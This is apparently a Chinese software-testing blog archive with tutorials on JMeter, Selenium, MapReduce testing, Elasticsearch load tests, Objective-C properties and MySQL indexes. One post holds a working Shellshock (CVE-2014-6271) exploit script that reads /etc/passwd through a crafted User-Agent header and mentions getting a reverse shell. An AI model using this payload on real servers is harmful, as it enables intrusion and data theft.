qileilove

blog已经转移至github,大家请访问 http://qaseven.github.io/

Jenkins+Ant+Jmeter自动化性能测试平台

 Jmeter性能测试的工具,java编写、开源,小巧方便,可以图形界面运行也可以在命令行下运行。网上已经有人使用ant来运行,,既然可以使用ant运行,那和hudson、jenkins集成就很方便了,而且jenkins上也有相应的插件Performance Plugin,可以自动收集jmeter的测试结果,展示出来。
  首先去下载jmeter,在2.8版本中测试通过,2.9版本测试未通过。下载ant-jmeter-1.1.1.jar放在jmeter主目录lib文件夹下。
  下载需要的ant包,包含配置文件和一些jar包。里面的build.xml是配置文件,可以自定义。需要修改其中jmeter路径,然后直接ant运行即可。 
<?xml version="1.0" encoding="utf-8"?>
<project default="all">
<!-- Define your Jmeter Home & Your Report Title & Interval Time Between Test-->
<property name="report.title" value="WebLoad Test Report"/>
<property name="jmeter-home" location="D:\work\apache-jmeter-2.8" />
<property name = "interval-time-in-seconds" value ="10"/>
<!-- default path config, you can modify for your own requirement;Generally, you do not need to modify -->
<property environment="env" />
<property name="runremote" value="false"/>
<property name="resultBase" value="results"/>
<property name="results.jtl" value="jtl"/>
<property name="results.html" value ="html"/>
<property name="jmxs.dir"  value= "jmxs"/>
<tstamp><format property="report.datestamp" pattern="yyyy-MM-dd-HH-mm-ss"/></tstamp>
<property name="time" value="${report.datestamp}"/>
<!--  Diffrent version of Jmeter has its own ant-jmeter.jar,Please input the right versioin -->
<path id="ant.jmeter.classpath">
<pathelement location="${jmeter-home}/lib/ant-jmeter-1.1.1.jar" />
</path>
<taskdef name="jmeter"
classname="org.programmerplanet.ant.taskdefs.jmeter.JMeterTask"
classpathref="ant.jmeter.classpath" />
<!-- just to support foreach by ant -->
<taskdef resource="net/sf/antcontrib/antcontrib.properties" >
<classpath>
<pathelement location="./libs/ant-contrib-20020829.jar" />
</classpath>
</taskdef>
<!-- use this config to generate html report; if not, may not display Min/Max Time in html-->
<path id="xslt.classpath">
<fileset dir="./libs" includes="xalan-2.7.1.jar"/>
<fileset dir="./libs" includes="serializer-2.9.1.jar"/>
</path>
<!--运行之前首先创建临时结果文件夹-->
<target name="create-folder">
<delete dir="${resultBase}/temp"/>
<mkdir dir="${resultBase}/temp/${results.jtl}" />
<mkdir dir="${resultBase}/temp/${results.html}" />
</target>
<target name="all-test" depends="create-folder">
<foreach  param="jmxfile" target="test" >
<fileset dir="${jmxs.dir}">
<include name="*.jmx" />
</fileset>
</foreach>
</target>
<target name="test" >
<basename property="jmx.filename" file="${jmxfile}" suffix=".jmx"/>
<echo message="---------- Processing ${jmxfile} -----------"/>
<echo message="resultlogdir===${resultBase}/temp/${results.jtl}"/>
<jmeter jmeterhome="${jmeter-home}" resultlogdir="${resultBase}/temp/${results.jtl}" runremote="${runremote}" resultlog="${jmx.filename}.jtl"
testplan="${jmxs.dir}/${jmx.filename}.jmx">
<jvmarg value="-Xincgc"/>
<jvmarg value="-Xms1024m"/>
<jvmarg value="-Xm1024m"/>
</jmeter>
<sleep seconds="20"></sleep>
<!--Generate html report-->
<xslt   in="${resultBase}/temp/${results.jtl}/${jmx.filename}.jtl"
out="${resultBase}/temp/${results.html}/${jmx.filename}.html"  classpathref="xslt.classpath"
style="${jmeter-home}/extras/jmeter-results-report_21.xsl" >
<param name="dateReport" expression="${report.datestamp}"/>
<param name="showData" expression="n"/>
<param name="titleReport" expression="${report.title}:[${jmx.filename}]"/>
</xslt>
<echo message="Sleep ${interval-time-in-seconds} Seconds, and then start next Test; Please waiting ......"/>
<sleep seconds="${interval-time-in-seconds}"></sleep>
</target>
<target name="copy-images" depends="all-test">
<copy file="${jmeter-home}/extras/expand.png" tofile="${results.html}/expand.png"/>
<copy file="${jmeter-home}/extras/collapse.png" tofile="${results.html}/collapse.png"/>
<copydir src="${resultBase}/temp" dest="${resultBase}/${report.datestamp}"/>
<delete dir="${resultBase}/temp"/>
</target>
<target name="all" depends="all-test, copy-images" />
</project>
  jmxs文件夹存放jmeter脚本,ant会顺序执行其中的脚本,执行结果会放在results文件夹中,包含统计的html文件和jmeter的请求详细jtl文件。
  最后和jenkins集成,搭建jenkins环境,安装Performance Plugin插件,新建一个job,选择目标机器(机器上要有ant),填好svn或者cvs、定时执行、构建命令等。在Add post-build action中可以添加一个Publish Performance test result report用来收集jmeter测试结果,选择就meter,然后在Report files中填写**/*.jtl即可。

posted @ 2014-11-26 14:22 顺其自然EVO 阅读(2158) | 评论 (0)编辑 收藏

Selenium之利用Excel实现参数化

 说明:我是通过Workbook方式来读取excel文件的,这次以登陆界面为例
  备注:使用Workbook读取excel文件,前提是excel需要2003版本,其他版本暂时不支持
  具体步骤:
  第一步:新建一个excel文件,并且输入数据内容
  第二步:在eclipse中新建一个java class,编写获取excel文件的代码
  CODE:
import java.io.File;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import jxl.Sheet;
import jxl.Workbook;
/*
* 获取Excel文件的内容,使用Workbook方式来读取excel
*/
public class ExcelWorkBook {
//利用list集合来存放数据,其类型为String
private List<string> list=new ArrayList</string><string>();
//通过Workbook方式来读取excel
Workbook book;
String username;
/*
* 获取excel文件第一列的值,这里取得值为username
*/
public List</string><string> readUsername(String sourceString) throws IOException,Exception{
List</string><string> userList = new ArrayList</string><string>();
try {
Workbook book =Workbook.getWorkbook(new File(sourceFile));
Sheet sheet=book.getSheet(0);
//获取文件的行数
int rows=sheet.getRows();
//获取文件的列数
int cols=sheet.getColumns();
//获取第一行的数据,一般第一行为属性值,所以这里可以忽略
String col1=sheet.getCell(0,0).getContents().trim();
String col2=sheet.getCell(1,0).getContents().trim();
System.out.println(col1+","+col2);
//把第一列的值放在userlist中
for(int z=1;z<rows ;z++){
String username=sheet.getCell(0,z).getContents();
userList.add(username);
}
} catch (Exception e) {
e.printStackTrace();
}
//把获取的值放回出去,方便调用
return userList;
}
/*
* 获取excel文件第二列的值,这里取得值为password
*/
public List<String> readPassword(String sourceString) throws IOException,Exception{
List<string> passList = new ArrayList</string><string>();
try {
Workbook book =Workbook.getWorkbook(new File(sourceFile));
Sheet sheet=book.getSheet(0);
int rows=sheet.getRows();
for(int z=1;z<rows ;z++){
String password=sheet.getCell(1,z).getContents();
passList.add(password);
}
} catch (Exception e) {
e.printStackTrace();
}
return passList;
}
public List<String> getList(){
return list;
}
}
 第三步:新建一个TestNg Class,把excel数据填写到测试界面,具体代码如下:
  CODE:
import java.io.File;
import java.util.List;
import java.util.concurrent.TimeUnit;
import org.openqa.selenium.By;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.firefox.FirefoxDriver;
import org.openqa.selenium.firefox.FirefoxProfile;
import org.testng.annotations.BeforeClass;
import org.testng.annotations.Test;
import File.ExcelWorkBook;
public class LoginCenter {
private WebDriver driver;
private String url;
String sourceFile="你文件的路径和文件名称";
@BeforeClass
public void testBefore(){
//设置firefox浏览器
FirefoxProfile file=new FirefoxProfile(new File("C:\\Users\\qinfei\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\t5ourl6s.selenium"));
driver=new FirefoxDriver(file);
url="你的测试地址";
}
@Test
public void login() throws Exception{
//初始化ExcelWorkBook Class
ExcelWorkBook excelbook=new ExcelWorkBook();
//进入到你的测试界面
driver.get(url);
driver.manage().timeouts().implicitlyWait(30,TimeUnit.SECONDS);
try{
//把取出的username放在userlist集合里面
List<string> userList=excelbook.readUsername(sourceFile);
//把取出的password放在passlist集合里面
List</string><string> passList=excelbook.readPassword(sourceFile);
//把取出来的值,输入到界面的输入框中
int usersize=userList.size();
for(int i=0;i<usersize ;i++){
//通过css定位到username输入框
WebElement username=driver.findElement(By.cssSelector("input[name=\"j_username\"]"));
//通过css定位到password输入框
WebElement password=driver.findElement(By.cssSelector("input[name=\"j_password\"]"));
//通过xpath定位登录按钮
WebElement submit=driver.findElement(By.xpath("//button//span[contains(text(),'登录')]"));
//清除username输入框的内容
username.clear();
//把list中数据一个一个的取出来
String name=userList.get(i);
//然后填写到username输入框
username.sendKeys(name);
for(int j=0;j<passList.size();j++){
password.clear();
String pass=passList.get(j);
password.sendKeys(pass);
}
//点击登录按钮
submit.click();
driver.manage().timeouts().implicitlyWait(30,TimeUnit.SECONDS);
//通过xpath定位登出按钮
WebElement logoutButton=driver.findElement(By.xpath("//button//span[contains(text(),'登出')]"));
logoutButton.click();
driver.manage().timeouts().implicitlyWait(30,TimeUnit.SECONDS);
}
}catch(Exception e){
e.printStackTrace();
}
}
}

posted @ 2014-11-26 14:21 顺其自然EVO 阅读(5692) | 评论 (0)编辑 收藏

Bash远程命令执行漏洞(CVE-2014-6271)分析利用

 这几天Bash被爆存在远程命令执行漏洞(CVE-2014-6271),昨天参加完isc,晚上回家测试了一下,写了个python版本的测试小基本,贴上代码:
#coding:utf-8
import urllib,httplib
import sys,re,urlparse
#author:nx4dm1n
#website:www.nxadmin.com
def bash_exp(url):
urlsp=urlparse.urlparse(url)
hostname=urlsp.netloc
urlpath=urlsp.path
conn=httplib.HTTPConnection(hostname)
headers={"User-Agent":"() { :;}; echo `/bin/cat /etc/passwd`"}
conn.request("GET",urlpath,headers=headers)
res=conn.getresponse()
res=res.getheaders()
for passwdstr in res:
print passwdstr[0]+':'+passwdstr[1]
if __name__=='__main__':
#带http
if len(sys.argv)<2:
print "Usage: "+sys.argv[0]+"www.nxadmin.com/cgi-bin/index.cgi"
sys.exit()
else:
bash_exp(sys.argv[1])
  脚本执行效果如图所示:
  bash命令执行
  也可以用burp进行测试。
  利用该漏洞其实可以做很多事情,写的python小脚本只是执行了cat /etc/passwd。可以执行反向链接的命令等,直接获取一个shell还是有可能的。不过漏洞存在的条件也比较苛刻,测试找了一些,发现了很少几个存在漏洞。

posted @ 2014-11-26 14:20 顺其自然EVO 阅读(524) | 评论 (0)编辑 收藏

对Mapreduce代码进行单元测试

 hadoop自带一个wordcount的示例代码,用于计算单词个数。我将其单独移出来,测试成功。源码如下:
package org.apache.hadoop.examples;
import java.io.IOException;
import java.util.StringTokenizer;
import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.fs.Path;
import org.apache.hadoop.io.IntWritable;
import org.apache.hadoop.io.Text;
import org.apache.hadoop.mapreduce.Job;
import org.apache.hadoop.mapreduce.Mapper;
import org.apache.hadoop.mapreduce.Reducer;
import org.apache.hadoop.mapreduce.lib.input.FileInputFormat;
import org.apache.hadoop.mapreduce.lib.output.FileOutputFormat;
import org.apache.hadoop.util.GenericOptionsParser;
public class WordCount {
public static class TokenizerMapper
extends Mapper{
private final static IntWritable one = new IntWritable(1);
private Text word = new Text();
public void map(Object key, Text value, Context context
) throws IOException, InterruptedException {
StringTokenizer itr = new StringTokenizer(value.toString());
while (itr.hasMoreTokens()) {
word  = new Text(itr.nextToken()); //to unitest,should be new Text word.set(itr.nextToken())
context.write(word, new IntWritable(1));
}
}
}
public static class IntSumReducer
extends Reducer {
private IntWritable result = new IntWritable();
public void reduce(Text key, Iterable values,
Context context
) throws IOException, InterruptedException {
int sum = 0;
for (IntWritable val : values) {
sum += val.get();
}
result.set(sum);
context.write(key, result);
}
}
public static void main(String[] args) throws Exception {
Configuration conf = new Configuration();
String[] otherArgs = new GenericOptionsParser(conf, args).getRemainingArgs();
if (otherArgs.length != 2) {
System.err.println("Usage: wordcount  ");
System.exit(2);
}
Job job = new Job(conf, "word count");
job.setJarByClass(WordCount.class);
job.setMapperClass(TokenizerMapper.class);
job.setCombinerClass(IntSumReducer.class);
job.setReducerClass(IntSumReducer.class);
job.setOutputKeyClass(Text.class);
job.setOutputValueClass(IntWritable.class);
FileInputFormat.addInputPath(job, new Path(otherArgs[0]));
FileOutputFormat.setOutputPath(job, new Path(otherArgs[1]));
System.exit(job.waitForCompletion(true) ? 0 : 1);
}
}
 现在我想对其进行单元测试。一种方式,是job执行完了后,读取输出目录中的文件,确认计数是否正确。但这样的情况如果失败,也不知道是哪里失败。我们需要对map和reduce单独进行测试。
  tomwhite的书《hadoop权威指南》有提到如何用Mockito进行单元测试,我们依照原书对温度的单元测试来对wordcount进行单元测试。(原书第二版的示例已经过时,可以参考英文版第三版或我的程序)。
package org.apache.hadoop.examples;
/* author zhouhh
* date:2012.8.7
*/
import static org.mockito.Mockito.*;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import org.apache.hadoop.io.*;
import org.junit.*;
public class WordCountTest {
@Test
public  void testWordCountMap() throws IOException, InterruptedException
{
WordCount w = new WordCount();
WordCount.TokenizerMapper mapper = new WordCount.TokenizerMapper();
Text value = new Text("a b c b a a");
@SuppressWarnings("unchecked")
WordCount.TokenizerMapper.Context context = mock(WordCount.TokenizerMapper.Context.class);
mapper.map(null, value, context);
verify(context,times(3)).write(new Text("a"), new IntWritable(1));
verify(context).write(new Text("c"), new IntWritable(1));
//verify(context).write(new Text("cc"), new IntWritable(1));
}
@Test
public void testWordCountReduce() throws IOException, InterruptedException
{
WordCount.IntSumReducer reducer = new WordCount.IntSumReducer();
WordCount.IntSumReducer.Context context = mock(WordCount.IntSumReducer.Context.class);
Text key = new Text("a");
List values = new ArrayList();
values.add(new IntWritable(1));
values.add(new IntWritable(1));
reducer.reduce(key, values, context);
verify(context).write(new Text("a"), new IntWritable(2));
}
public static void main(String[] args) {
// try {
// WordCountTest t = new WordCountTest();
//
// //t.testWordCountMap();
// t.testWordCountReduce();
// } catch (IOException e) {
// // TODO Auto-generated catch block
// e.printStackTrace();
// } catch (InterruptedException e) {
// // TODO Auto-generated catch block
// e.printStackTrace();
// }
}
}
  verify(context)只检查一次的写,如果多次写,需用verify(contex,times(n))检查,否则会失败。
  执行时在测试文件上点run as JUnit Test,会得到测试结果是否通过。
  本示例程序在hadoop1.0.3环境中测试通过。Mockito也在hadoop的lib中自带,打包在mockito-all-1.8.5.jar

posted @ 2014-11-26 14:19 顺其自然EVO 阅读(304) | 评论 (0)编辑 收藏

移动性能测试初探

说实在的我是不想现在说太多,这样我觉得我这个书写的意义就不大了。索性不出版了...
  我上周帮助公司也做了一下app的性能测试,整个过程历时一天半,当然仅仅是针对测试,燃烧了我大半小宇宙。
  首先现在移动应用的性能测试一般分成三种测试的方向,或许说是找基线的方向:
  1. 先对于竞品进行测试,从而进行对比
  2. 经过测试,团队讨论得出一个大家认可的数据,从而变成基线
  3. 在系统,应用等限制中找到一个基线,打比方说比如某些应用的画面需要60fps的帧率进行平滑的渲染等
  而无论是哪种得到数据并非非常容易,性能测试往往与应用逻辑,架构,业务牢牢的绑定。
  Android和ios的内存泄漏也许是很多人关心的一个方面。在此之前当然我们应该先进行静态的代码扫描,find bugs,lint,code Analysis等。内存泄漏其实并非一定有什么基线,在我看来每个不同类型的应用其基线可能都是不同的,然后内存泄漏现在常用的方法如下:
  1. 对应用进行”Cause GC”操作,查看object data的走势,如该数值持续上涨说明有内存泄漏的可能。
  2. Android获取hprof文件。其一,在进行压测之后获取hprof使用MAT进行分析。其二,可以在某些重要业务场景前后分别去Dump HPROF,从而对比前后某些对象是否有重复引用等
  3. ios的话要请教中国ios之父了...我目前还是只是用instruments自带的一些工具在业务场景中进行查看。
  4. dumpsys也不失为一个比较简单的方法,但是就是比较难定位问题在哪里
  当然我之前也一直推崇的systemtrace以及gnxinfo也是很不错的性能测试工具。其运用在自己要测试的场景中就能够得出很精准的数据,包括应用的启动,包括绘制函数方法的耗时等,报告如下:
  其他也有电量,流量等,这类其实现在现成的测试app也有。我们自己要去写个也不是什么难事,比如写一个很傻的activity,然后启动几个监控的service就可以了。通过系统api都是能够获取到我们想要的数据的,当然百度等公司还是会用万用表来进行电量测试,我表示我肯定做不到。部门代码如下:
  当然我上周在做的时候,顺便让我们测试的同学把关键业务做了下,然后生成的code coverage报告也让开发协助测试增加了很多有用的测试用例。这也是我觉得真心不错的一个发展方向。

posted @ 2014-11-26 14:17 顺其自然EVO 阅读(243) | 评论 (0)编辑 收藏

针对Httptest4net构建Elasticsearch集群压力测试用例

 httptest4net是可以自定义HTTP压力测试的工具,用户可以根据自己的情况编写测试用例加载到httptest4net中并运行测试。由于最近需要对elasticsearch搜索集群进行一个不同情况的测试,所以针对这个测试写了个简单的测试用例。
  代码
1  [Test("ES base")]
2     public class ES_SearchUrlTester : IUrlTester
3     {
4
5         public ES_SearchUrlTester()
6         {
7
8
9         }
10         public string Url
11         {
12             get;
13             set;
14         }
15
16
17         static string[] urls = new string[] {
18             "http://192.168.20.156:9200/gindex/gindex/_search",
19             "http://192.168.20.158:9200/gindex/gindex/_search",
20             "http://192.168.20.160:9200/gindex/gindex/_search" };
21
22         private static long mIndex = 0;
23
24         private static List<string> mWords;
25
26         protected static IList<string> Words()
27         {
28
29             if (mWords == null)
30             {
31                 lock (typeof(ES_SearchUrlTester))
32                 {
33                     if (mWords == null)
34                     {
35                         mWords = new List<string>();
36                         using (System.IO.StreamReader reader = new StreamReader(@"D:\main.dic"))
37                         {
38                             string line;
39
40                             while ((line = reader.ReadLine()) != null)
41                             {
42                                 mWords.Add(line);
43                             }
44                         }
45                     }
46                 }
47             }
48             return mWords;
49         }
50         /*
51           {"query" :
52     {
53   "bool" : {
54     "should" : [ {
55       "field" : {
56         "title" : "#key"
57       }
58     }, {
59       "field" : {
60         "kw" : "#key"
61       }
62     } ]
63   }
64     },
65 from:0,
66 size:10
67 }
68          */
69         private static string GetSearchUrlWord()
70         {
71             IList<string> words= Words();
72             System.Threading.Interlocked.Increment(ref mIndex);
73             return Resource1.QueryString.Replace("#key", words[(int)(mIndex % words.Count)]);
74         }
75
76         public System.Net.HttpWebRequest CreateRequest()
77         {
78             var httpWebRequest = (HttpWebRequest)WebRequest.Create(urls[mIndex%urls.Length]);
79             httpWebRequest.ContentType = "application/json";
80             httpWebRequest.KeepAlive = false;
81             httpWebRequest.Method = "POST";
82             string json = GetSearchUrlWord();
83             using (var streamWriter = new StreamWriter(httpWebRequest.GetRequestStream()))
84             {
85
86                 streamWriter.Write(json);
87                 streamWriter.Flush();
88             }
89             return httpWebRequest;
90
91         }
92
93         public TestType Type
94         {
95             get
96             {
97                 return TestType.POST;
98             }
99         }
100     }
 用例很简单根据节点和关键字构建不同请求的URL和JSON数据包即可完成。把上面代码编译在DLL后放到httptest4net的运行目录下即可以加载这用例并进行测试。
  测试情况

posted @ 2014-11-26 14:16 顺其自然EVO 阅读(596) | 评论 (0)编辑 收藏

IOS开发之property详解

之前很多网友对我翻译的教程中的Property的使用感到有些迷惑不解,搞不清楚什么时候要release,什么时候要self.xxx = nil;同时对于Objective-c的内存管理以及cocos2d的内存管理规则不够清楚。本文主要讲解objc里面@property,它是什么,它有什么用,atomic,nonatomic,readonly,readwrite,assign,retain,copy,getter,setter这些关键字有什么用,什么时候使用它们。至于Objc的内存管理和cocos2d的内存管理部分,接下来,我会翻译Ray的3篇教程,那里面再和大家详细讨论。今天我们的主要任务是搞定@property。
  学过c/c++的朋友都知道,我们定义struct/class的时候,如果把访问限定符(public,protected,private)设置为public的话,那么我们是可以直接用.号来访问它内部的数据成员的。比如
  //in Test.h
  class Test
  {
  public:
  int i;
  float f;
  };
  我在main函数里面是可以通过下面的方式来使用这个类的:(注意,如果在main函数里面使用此类,除了要包含头文件以外,最重要的是记得把main.m改成main.mm,否则会报一些奇怪的错误。所以,任何时候我们使用c++,如果报奇怪的错误,那就要提醒自己是不是把相应的源文件改成.mm后缀了。其它引用此类的文件有时候也要改成.mm文件)
  //in main.mm
  Test test;
  test.i =1;
  test.f =2.4f;
  NSLog(@"Test.i = %d, Test.f = %f",test.i,  test.f);
  但是,在objc里面,我们能不能这样做呢?请看下面的代码:(新建一个objc类,命名为BaseClass)
  //in BaseClass.h
  @interface BaseClass : NSObject{
  @public
  NSString *_name;
  }
  接下来,我们在main.mm里面:
  BaseClass *base= [[BaseClass alloc] init];
  base.name =@"set base name";
  NSLog(@"base class's name = %@", base.name);
  不用等你编译,xcode4马上提示错误,请看截图:
  请大家注意看出错提示“Property 'nam' not found on object of type BaseClass*",意思是,BaseClass这类没有一个名为name的属性。即使我们在头文件中声明了@public,我们仍然无法在使用BaseClass的时候用.号来直接访问其数据成员。而@public,@protected和@private只会影响继承它的类的访问权限,如果你使用@private声明数据成员,那么在子类中是无法直接使用父类的私有成员的,这和c++,java是一样的。
  既然有错误,那么我们就来想法解决啦,编译器说没有@property,那好,我们就定义property,请看代码:
  //in BaseClass.h
  @interface BaseClass : NSObject{
  @public
  NSString *_name;
  }
  @property(nonatomic,copy) NSString *name;
  //in BaseClass.m
  @synthesize name = _name;
  现在,编译并运行,ok,很好。那你可能会问了@prperty是不是就是让”."号合法了呀?只要定义了@property就可以使用.号来访问类的数据成员了?先让我们来看下面的例子:
@interface BaseClass : NSObject{
@public
NSString *_name;
}
//@property(nonatomic,copy) NSString *name;
-(NSString*) name;
-(void) setName:(NSString*)newName;
我把@property的定义注释掉了,另外定义了两个函数,name和setName,下面请看实现文件:
//@synthesize name = _name;
-(NSString*) name{
return _name;
}
-(void) setName:(NSString *)name{
if (_name != name) {
[_name release];
_name = [name copy];
}
}
现在,你再编译运行,一样工作的很好。why?因为我刚刚做的工作和先前声明@property所做的工作完全一样。@prperty只不过是给编译器看的一种指令,它可以编译之后为你生成相应的getter和setter方法。而且,注意看到面property(nonatomic,copy)括号里面这copy参数了吗?它所做的事就是
  _name = [name copy];
  如果你指定retain,或者assign,那么相应的代码分别是:
  //property(retain)NSString* name;
  _name = [name retain];
  //property(assign)NSString* name;
  _name = name;
  其它讲到这里,大家也可以看出来,@property并不只是可以生成getter和setter方法,它还可以做内存管理。不过这里我暂不讨论。现在,@property大概做了件什么事,想必大家已经知道了。但是,我们程序员都有一个坎,就是自己没有完全吃透的东西,心里用起来不踏实,特别是我自己。所以,接下来,我们要详细深挖@property的每一个细节。
  首先,我们看atomic 与nonatomic的区别与用法,讲之前,我们先看下面这段代码:
  @property(nonatomic, retain) UITextField *userName;    //1
  @property(nonatomic, retain,readwrite) UITextField *userName;  //2
  @property(atomic, retain) UITextField *userName;  //3
  @property(retain) UITextField *userName;  //4
  @property(atomic,assign) int i;         // 5
  @property(atomic) int i;         //6
  @property int i;               //7
  请读者先停下来想一想,它们有什么区别呢?
  上面的代码1和2是等价的,3和4是等价的,5,6,7是等价的。也就是说atomic是默认行为,assign是默认行为,readwrite是默认行为。但是,如果你写上@property(nontomic)NSString *name;那么将会报一个警告,如下图:
  因为是非gc的对象,所以默认的assign修饰符是不行的。那么什么时候用assign、什么时候用retain和copy呢?推荐做法是NSString用copy,delegate用assign(且一定要用assign,不要问为什么,只管去用就是了,以后你会明白的),非objc数据类型,比如int,float等基本数据类型用assign(默认就是assign),而其它objc类型,比如NSArray,NSDate用retain。
  在继续之前,我还想补充几个问题,就是如果我们自己定义某些变量的setter方法,但是想让编译器为我们生成getter方法,这样子可以吗?答案是当然可以。如果你自己在.m文件里面实现了setter/getter方法的话,那以翻译器就不会为你再生成相应的getter/setter了。请看下面代码:
//代码一:
@interface BaseClass : NSObject{
@public
NSString *_name;
}
@property(nonatomic,copy,readonly) NSString *name;  //这里使用的是readonly,所有会声明geter方法
-(void) setName:(NSString*)newName;
//代码二:
@interface BaseClass : NSObject{
@public
NSString *_name;
}
@property(nonatomic,copy,readonly) NSString *name;   //这里虽然声明了readonly,但是不会生成getter方法,因为你下面自己定义了getter方法。
-(NSString*) name;   //getter方法是不是只能是name呢?不一定,你打开Foundation.framework,找到UIView.h,看看里面的property就明白了)
-(void) setName:(NSString*)newName;
//代码三:
@interface BaseClass : NSObject{
@public
NSString *_name;
}
@property(nonatomic,copy,readwrite) NSString *name;  //这里编译器会我们生成了getter和setter
//代码四:
@interface BaseClass : NSObject{
@public
NSString *_name;
}
@property(nonatomic,copy) NSString *name;  //因为readwrite是默认行为,所以同代码三
  上面四段代码是等价的,接下来,请看下面四段代码:
//代码一:
@synthesize name = _name;  //这句话,编译器发现你没有定义任何getter和setter,所以会同时会你生成getter和setter
//代码二:
@synthesize name = _name;  //因为你定义了name,也就是getter方法,所以编译器只会为生成setter方法,也就是setName方法。
-(NSString*) name{
NSLog(@"name");
return _name;
}
//代码三:
@synthesize name = _name;   //这里因为你定义了setter方法,所以编译器只会为你生成getter方法
-(void) setName:(NSString *)name{
NSLog(@"setName");
if (_name != name) {
[_name release];
_name = [name copy];
}
}
//代码四:
@synthesize name = _name;  //这里你自己定义了getter和setter,这句话没用了,你可以注释掉。
-(NSString*) name{
NSLog(@"name");
return _name;
}
-(void) setName:(NSString *)name{
NSLog(@"setName");
if (_name != name) {
[_name release];
_name = [name copy];
}
}
  上面这四段代码也是等价的。看到这里,大家对Property的作用相信会有更加进一步的理解了吧。但是,你必须小心,你如果使用了Property,而且你自己又重写了setter/getter的话,你需要清楚的明白,你究竟干了些什么事。别写出下面的代码,虽然是合法的,但是会误导别人:
//BaseClass.h
@interface BaseClass : NSObject{
@public
NSArray *_names;
}
@property(nonatomic,assgin,readonly) NSArray *names;  //注意这里是assign
-(void) setNames:(NSArray*)names;
//BaseClass.m
@implementation BaseClass
@synthesize names = _names;
-(NSArray*) names{
NSLog(@"names");
return _names;
}
-(void) setNames:(NSArray*)names{
NSLog(@"setNames");
if (_name != name) {
[_name release];
_name = [name retain];  //你retain,但是你不覆盖这个方法,那么编译器会生成setNames方法,里面肯定是用的assign
}
}
  当别人使用@property来做内存管理的时候就会有问题了。总结一下,如果你自己实现了getter和setter的话,atomic/nonatomic/retain/assign/copy这些只是给编译的建议,编译会首先会到你的代码里面去找,如果你定义了相应的getter和setter的话,那么好,用你的。如果没有,编译器就会根据atomic/nonatomic/retain/assign/copy这其中你指定的某几个规则去生成相应的getter和setter。
  好了,说了这么多,回到我们的正题吧。atomic和nonatomic的作用与区别:
  如果你用@synthesize去让编译器生成代码,那么atomic和nonatomic生成的代码是不一样的。如果使用atomic,如其名,它会保证每次getter和setter的操作都会正确的执行完毕,而不用担心其它线程在你get的时候set,可以说保证了某种程度上的线程安全。但是,我上网查了资料,仅仅靠atomic来保证线程安全是很天真的。要写出线程安全的代码,还需要有同步和互斥机制。
  而nonatomic就没有类似的“线程安全”(我这里加引号是指某种程度的线程安全)保证了。因此,很明显,nonatomic比atomic速度要快。这也是为什么,我们基本上所有用property的地方,都用的是nonatomic了。
  还有一点,可能有读者经常看到,在我的教程的dealloc函数里面有这样的代码:self.xxx = nil;看到这里,现在你们明白这样写有什么用了吧?它等价于[xxx release];  xxx = [nil retain];(---如果你的property(nonatomic,retian)xxx,那么就会这样,如果不是,就对号入座吧)。
  因为nil可以给它发送任何消息,而不会出错。为什么release掉了还要赋值为nil呢?大家用c的时候,都有这样的编码习惯吧。
  int* arr = new int[10];    然后不用的时候,delete arr; arr = NULL;  在objc里面可以用一句话self.arr = nil;搞定。

posted @ 2014-11-24 10:03 顺其自然EVO 阅读(200) | 评论 (0)编辑 收藏

Mysql数据库服务器的CPU占用很高

 MySQl服务器CPU占用很高
  1.  问题描述
  一个简单的接口,根据传入的号段查询号码归属地,运行性能测试脚本,20个并发mysql的CPU就很高,监控发现只有一个select语句,且表建立了索引
  2.  问题原因
  查询语句索引没有命中导致
  开始时的select
SELECT
`province_name`,
`city_name`
FROM `phoneno_section`
WHERE SUBSTRING(?, phoneno_section_len) = phoneno_section
LIMIT ?
咨询说where中使用SUBSTRING函数不行,修改函数为LEFT,语句为
SELECT
`province_name`,
`city_name`
FROM `conf_phoneno_section`
WHERE LEFT(?, phoneno_section_len) = phoneno_section
LIMIT ?
  测试发现CPU占用还是很高,LEFT函数中的参数是变量不是常量,再次修改select语句,指定LEFT函数中的phoneno_section_len为固定值,CPU占用正常
  3.  MYSQL索引介绍
  ü  先举个例子
  表a, 字段:  id(自增id),user(用户名),pass(密码),type(类型 0,1),
  索引: user + pass 建立联合索引 ,user唯一索引,pass普通索引 ,type 普通索引
  ü  索引命中说明
  (1)SELECT   *   FROM   a  WHERE user = 't'  AND PASS = 'p'会命中user+pass的联合索引
  (2)SQL:  SELECT   *   FROM   a  WHERE user = 't' OR user= 'f'  不能命中任何索引
  (3)SQL:  SELECT   *   FROM   a  WHERE user = 't'会命中user唯一索引
  (4)SQL:  SELECT   *   FROM   a  WHERE pass = 'p'   不能命中任何索引
  (5)SELECT  *  FROM  a WHERE user = 't'  OR   user= 'f' 相对于SELECT  user,pass  FROM  a  WHERE user = 't'  OR   user= 'f'  会慢
  (6)SELECT * FROM a WHERE length(user) = 3 不能命中
  (7)user唯一索引 、type索引可以删除
  索引就是排序,目前的计算机技术和数学理论还不支持一次同时按照两个关键字进行排序,即使是联合索引,也是先按照最左边的关键字先排,然后在左边的关键字排序基础上再对其他的关键字排序,是一个多次排序的结果。 所以,单表查询,一次最多只能命中一个索引,并且索引必须遵守最左前缀。于是基于索引的结构和最左前缀,像 OR ,like '%%'都是不能命中索引的,而like 'aa%'则是可以命中的。
  无论是innodb还是myisam,索引只记录被排序的行的主键或者地址,其他的字段还是需要二次查询,因此,如果查询的字段刚好只是包含在索引中,那么索引覆盖将是高效的。
  如果所有的数据都一样,或者基本一样,那么就没有排序的必要了。像例子中的type只有1或者0,选择性是0.5,极低的样纸,所以可以忽视,即使建立了,也是浪费空间,mysql在查询的时候也会选择丢弃。
  类似最左前缀,查询索引的时候,如果列被应用了函数,那么在查询的时候,是不会用到索引的。道理很简单,函数运算已经改变了列的内容,而原始的索引是对列内容全量排序的。
  综上所述,索引的几个知识点:最左前缀,索引覆盖,索引选择性,列隔离在建立和使用索引的时候需要格外注意。
  4.  MySQl索引无效场景补充
  ü  WHERE子句的查询条件里有不等于号(WHERE column!=...),MYSQL将无法使用索引
  ü  WHERE子句的查询条件里使用了函数(如:WHERE DAY(column)=...),MYSQL将无法使用索引,实验中LEFT函数是可以的,但是条件不能是变量,使用LEFT函数且条件是变量,也无法使用索引,LEFT函数之外是否有其它函数有待验证
